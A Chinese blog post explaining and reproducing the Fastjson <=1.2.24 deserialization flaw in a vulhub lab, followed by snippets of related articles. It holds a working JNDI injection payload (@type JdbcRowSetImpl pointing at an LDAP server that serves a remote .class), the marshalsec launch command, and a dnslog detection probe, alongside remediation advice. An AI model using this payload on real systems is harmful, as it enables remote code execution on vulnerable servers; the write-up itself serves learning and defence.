fastjson反序列化漏洞(代码片段)

candada candada     2023-04-28     710

关键词:

Fastjson反序列化漏洞

一、Fastjson介绍

1、什么是fastjson?

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

2、fastjson的优点

  • 速度快
  • 使用广泛
  • 测试完备
  • 使用简单

二、影响范围:

fastjson <= 1.2.24

三、漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

1、JdbcRowSetlmpl类反序列化,调用JdbcRowSetlmpl类的setAutoCommit()方法

2、setAutoCommit()调用connect()

3、connect()调用lookup()连接到LDAP/RMI服务器

4、下载恶意代码到本地,执行,攻击发生

个人理解(不一定正确):

​ fastjson在反序列化json字符时,可以通过autoType来指定反序列化的类,并调用相关方法的set方法(这里调用了dataSourceName和autoCommit方法,反序列化后自动会调用setdataSourceName和setautoCommit方法并把参数传入),而setautoCommit方法中调用了connect方法,connect方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。

​ 感觉和log4j JNDI注入漏洞极其相似,都是因为lookup方法没有进行限制导致的漏洞,但前期利用的方式缺不同,fastjson是通过autoType来反序列化JdbcRowSetlmpl类,通过setautoCommit方法调用到lookup方法,而log4j是因为日志调用方法中调用了lookup方法。

四、漏洞利用

1、先开启vulhub中fastjson靶机

2、开启获取资源的http服务器

3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)

4、开启RMI/LDAP服务(本机的9999端口)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999

5、bp发送payload

POST / HTTP/1.1
Host: 192.168.142.133:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 166


    "b":
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.142.1:9999/File",
        "autoCommit":true
    

五、漏洞发现

1、找到发送json序列化数据的接口

2、判断是否使用fastjson

(1)非法格式报错

"x":"

(2)使用dnslog探测

"x":"@type":"java.net.Inet4Address","val":"xxx.dnslog.com"

(3)Burpsuit插件

六、漏洞修复

1、升级JDK

JDK7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为True。当该值为true时,将禁用自动加载远程类文件,仅从本地加载文件。

JDK8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本无法触发该漏洞,但依然可以用LDAP协议来进行JNDI注入攻击。

JDK8u191之后:

com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase选项,把LDAP协议攻击途径也禁用了。

2、升级Fastjson

fastjson.parser.safeMode=true

3、使用安全产品过滤非法内容

4、更换其他序列化工具

Jackson/Gson

网络安全fastjson的反序列化漏洞复现(代码片段)

1.漏洞概述Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反... 查看详情

fastjson1.2.24反序列化导致任意命令执行漏洞(cve-2017-18349)(代码片段)

...链接漏洞原理Fastjson接口简单易用,广泛使用在缓存序列化、协议交互、Web输出、Android客户端提供两个主要接口toJsonString和parseObject来分别实现序列化和反序列化。fastjson在解析json的过程中,支持使用autoType来实例化某一... 查看详情

fastjson反序列化漏洞(实验文章)(代码片段)

...能1.开发环境的部署和访问FastJson的基本使用(执行反序列化操作)FastJson漏洞概况漏洞检测(Fastjsonscan)漏洞复现漏洞原理简述FastJson基本使用代码FastJson1.2.24Rce复现图参考Json数据格式JSON是一种轻量级的数据交换... 查看详情

原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!(代码片段)

原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!△Hollis,一个对Coding有着独特追求的人△这是Hollis的第292篇原创分享作者lHollis来源lHollis(ID:hollischuang)在《fastjson到底做错了什么?为什么会被频繁爆出漏洞... 查看详情

网络安全fastjson的反序列化漏洞复现(代码片段)

1.漏洞概述Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反... 查看详情

15-java安全——fastjson反序列化1.2.25-1.2.41版本绕过(代码片段)

1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名... 查看详情

)(代码片段)

...能1.开发环境的部署和访问FastJson的基本使用(执行反序列化操作)FastJson漏洞概况漏洞检测(Fastjsonscan)漏洞复现漏洞原理简述FastJson基本使用代码FastJson1.2.24Rce复现图参考Json数据格式JSON 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)

...本绕过1.2.45版本绕过1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String 查看详情

高危,fastjson反序列化远程代码执行漏洞风险通告,请尽快升级

...息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。据统计,此... 查看详情

搞懂fastjson对泛型的反序列化原理(代码片段)

fastjson是现在非常常用的一个json的序列化和反序列化工具,是阿里发布的,虽然最近一直在暴雷,各种漏洞,但是这不影响我们学习他。fastjson的使用加入依赖在pom.xml中直接增加fastjson的依赖就行了,向下面这... 查看详情

搞懂fastjson对泛型的反序列化原理(代码片段)

fastjson是现在非常常用的一个json的序列化和反序列化工具,是阿里发布的,虽然最近一直在暴雷,各种漏洞,但是这不影响我们学习他。fastjson的使用加入依赖在pom.xml中直接增加fastjson的依赖就行了,向下面这... 查看详情

fastjson反序列化漏洞原理及利用(代码片段)

fastjson反序列化漏洞原理及利用一、序列化/反序列化1.什么是序列化和反序列化1.1基本概念(1)Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程;(2)*... 查看详情

fastjson反序列化漏洞复现(实战案例)(代码片段)

漏洞介绍FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。通俗理解就是:漏洞利用fastjsonautotype... 查看详情

fastjson-bcel不出网打法原理分析(代码片段)

FastJson反序列化漏洞与原生的Java反序列化的区别在于,FastJson反序列化并未使用readObject方法,而是由FastJson自定一套反序列化的过程。通过在反序列化的过程中自动调用类属性的setter方法和getter方法,将JSON字符串还原... 查看详情

高危,fastjson反序列化远程代码执行漏洞风险通告,请尽快升级

...息通报中心监测发现,开源Java开发组件Fastjson存在反序列化远程代码执行漏洞。攻击者可利用上述漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取、敏感信息泄漏等严重影响。据统计,此... 查看详情

15-java安全——fastjson反序列化的历史版本绕过(开启autotype功能)(代码片段)

...本绕过1.2.45版本绕过1.2.25-1.2.41版本绕过1.2.24版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数... 查看详情

13-java安全——fastjson1.2.24反序列化templatesimpl利用链分析(代码片段)

漏洞环境:fastjson1.2.24jdk1.7.80新建一个maven项目在pom.xml文件中引入fastjson的依赖:<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1. 查看详情

网络安全之反序列化漏洞分析(代码片段)

...为等效的Java对象分别通过toJSONString和parseObject/parse来实现序列化和反序列化。使用对于序列化的方法toJSONString()有多个重载形式。SerializeFeature:通过设置多个特性到Fas 查看详情